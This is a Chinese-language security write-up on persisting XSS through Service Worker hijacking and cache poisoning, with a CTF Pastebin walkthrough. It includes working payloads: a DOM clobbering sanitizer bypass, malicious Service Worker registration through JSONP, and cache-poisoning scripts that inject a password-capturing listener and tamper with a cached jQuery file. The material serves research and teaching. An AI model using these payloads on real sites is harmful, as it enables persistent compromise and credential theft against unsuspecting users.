一、 Service Worker 介绍
Service Worker
可以理解为客户端与服务器之间的一个代理服务器。当网站中注册了Service Worker
,那么它就可以拦截请求,根据开发者定义的程序,来判断是将请求传送给服务端还是直接通过缓存返回给客户端。Service Worker
:# index.html
<script>
if('serviceWorker' in navigator){
window.addEventListener('load',function(){
navigator.serviceWorker.register('./ws.js',{scope: './'})
.then(function (registration) {
console.log('serviceWorker registered')
})
.catch(function (err) {
console.log('serviceWorker regist failed')
})
})
}
</script>
Service Worker
,然后创建一个Service Worker
,并指定其执行的代码以及作用域scope
,该作用域表示的内容为拦截指定目录下的所有请求。创建成功之后,会执行then
,否则执行catch
。Service Worker
的时候,指定了运行代码,既可以通过文件的形式指定,也可以直接通过代码的形式执行。接下来我们在ws.js
中定义缓存规则代码:this.addEventListener('install',function(event){
event.waitUntil(
caches.open('m1sn0w').then(function (cache) {
return cache.addAll([
'./index.html'
])
})
)
})
this.addEventListener('fetch',function (event) {
event.respondWith(
new Response('m1sn0w',{headers: {'Content-Type':'text/html'}})
)
})
install
事件,另外一个是fetch
事件,install
事件一般用来设置浏览器的缓存逻辑,可以指定要缓存的资源路径文件,而fetch
事件是拦截请求后所作的动作,例如上面直接页面,内容为m1sn0w
。在后续的XSS
持久化利用中,主要使用到fetch
这个事件。二、劫持 Service Worker
XSS
漏洞利用点,例如:<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="./index.php" method="POST" >
<input type="text" name="xss" />
<input type="submit" name="submit" value="提交" />
</form>
<?php
if(isset($_POST['xss'])){
echo $_POST['xss'];
}
?>
</body>
</html>
Service Worker
的话,还需要一个条件,就是同域环境下需要一个jsonp
,因为在后续构造fetch
事件的时候,需要这个jsonp
来将构造的代码返回,从而被当作执行的代码,例如,我在同域环境下给出一个jsonp
(其实只需要能返回GET
请求的数据就行):# evil.js
<?php
header('Content-type: text/javascript');
$callback=$_GET['callback'];
echo $callback;
?>
text/javascript
,因为我们需要返回回来的代码被当作JS
处理。然后我们构造如下Payload
,并指定了缓存路径为./m1sn0w/
,通过POST
提交上去:<script>
navigator.serviceWorker.register('./evil.php?callback=onfetch=function(e){console.log(1);e.respondWith(new Response("m1sn0w",{headers: {"Content-Type":"text/html"}}))}',{scope: './m1sn0w/'})
</script>
/m1sn0w/
目录下的任何文件,都会返回m1sn0w
字符。(不管文件是否存在)三、 湖湘杯 Pastebin
DOM Clobbering
,另外一个就是污染Service Worker
来持久化XSS
。1、DOM Clobbering
绕过检验函数
DOM Clobbering
,我们根据payload
去调试分析一下整条链:# payload
<form><input name=removeChild></form><img src=x onerror=alert(1337)>
async function do_things(id) {
try {
var html = await get(id);
var doc = new DOMParser().parseFromString(html, "text/html");
if(doc.querySelectorAll("math").length !== 0 || doc.querySelectorAll("svg").length !== 0 || doc.querySelectorAll("base").length !== 0 || doc.querySelectorAll("object").length !== 0){
console.log("filtered");
return "<b>Your paste have been filtered</b>";
}
html = safepaste.sanitize(html);
} catch(e) {
// fetch failed
console.log(e)
}
return html;
}
try...catch
语句,但是在catch
语句中并没有将程序结束,也就是说catch
之后,程序还是会返回html
变量。所以这里的思路就是在try
语句块中触发报错,从而逃过sanitize
函数的检查。经过上下文分析,可以知道html
变量是受我们控制的。(new goog.html.sanitizer.HtmlSanitizer).sanitize(a);
,而a
变量就是受控的html
变量。继续跟进sanitize(a)
代码,会经过如下函数处理:this.processToString(a)
-->this.processToTree(a)
-->goog.dom.removeChildren(d)
。a
在processToTree
这个函数中进行了一些处理,也就是将字符串转换成了html
标签。然后获取了整个标签的父标签,也就是最外层的标签对象,并将其赋值给了d
变量。d
变量传送给了goog.dom.removeChildren
函数处理,我们看看该函数的具体实现:goog.dom.removeChildren = function(a) {
for (var b; b = a.firstChild; ) {
a.removeChild(b)
}
}
DOM Clobbering
的话就很容易看出来这里存在漏洞。例如传入的数据是<form>
标签,其子标签元素input
的name
值为removeChild
,那么上面的a.removeChild
表示的就是<input>
这个标签对象,而不再是函数,因此,这里最终会报错。console.log
输出变量,最终控制台输出<input>
标签对象:payload
的时候,只需要在前面加上<form><input name=removeChild></form>
即可逃过校验函数的检测,后面就可以构造xss
利用代码。2、修改Service Worker
缓存
Service Worker
来持久化XSS
。先不谈为什么这里需要持久化,我们先单纯地学习一下这个知识点。出题师傅给了一篇论文,https://swcacheattack.secpriv.wien/
,我们先对论文里面的内容做一个了解与分析。xss
漏洞去污染Service Worker
缓存,然后将缓存中的一些静态数据修改掉,当用户再次访问页面的时候,由于Service Worker
缓存的存在,会直接将缓存的数据返回给用户。而这些缓存的数据,由于被修改了,这样也就达到了攻击用户的目的。payload
做一个简单的分析:(async () => {
let p = `<script>document.querySelector('#col-add button').addEventListener('click', (event) => {alert('Password stolen: ' + document.querySelector('#col-add input[type="password"]').value);});</script>`;
let t = '/safenotes/';
let c = await caches.open('static');
let r = await c.match(t);
let rt = await r.text();
await c.put(t,
new Response(rt.replace('</body>', p + '</body>'), {
status: 200,
statusText: 'OK',
headers: r.headers
})
);
})();
caches.open
用来打开static
缓存空间,然后通过match
来寻找缓存文件,这里找到的文件如图所示:payload
代码插入到文件内容中,并将更新的文件内容再次写入缓存空间。我们简单分析一下该攻击手法,攻击前提是存在一个XSS
漏洞点,然后网站原本开启了Service Worker
缓存。利用XSS
漏洞,将缓存文件内容替换,从而达到攻击的目的。jquery.min.js
,当有一个地方引入这个文件的时候,就会触发我们修改添加进去的xss
恶意代码。<script>
(async () => {
let e = "/jquery.min.js",
t = await caches.open("static-resources"),
a = await t.match(e),
s = await a.text();
await t.put(e, new Response(s.replace("jQuery=C.$=S),S});",
`jQuery=C.$=S),S});alert('xss');`),
{
status: 200,
statusText: "OK",
headers: a.headers
}))
})();
</script>
demo
来对此攻击示例做一个测试。在存在xss
漏洞点的地方,输入上述payload
,结果会导致Jquey
缓存文件内容发生了改变,当我们再次访问导入了Jquery
的页面的时候,会弹出xss
框。bot
程序的行为,然后修改action
属性值,最终将flag
数据外带从而拿到flag
值。原文始发于微信公众号(SAINTSEC):基于污染Service Worker Cache的XSS持久化研究
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论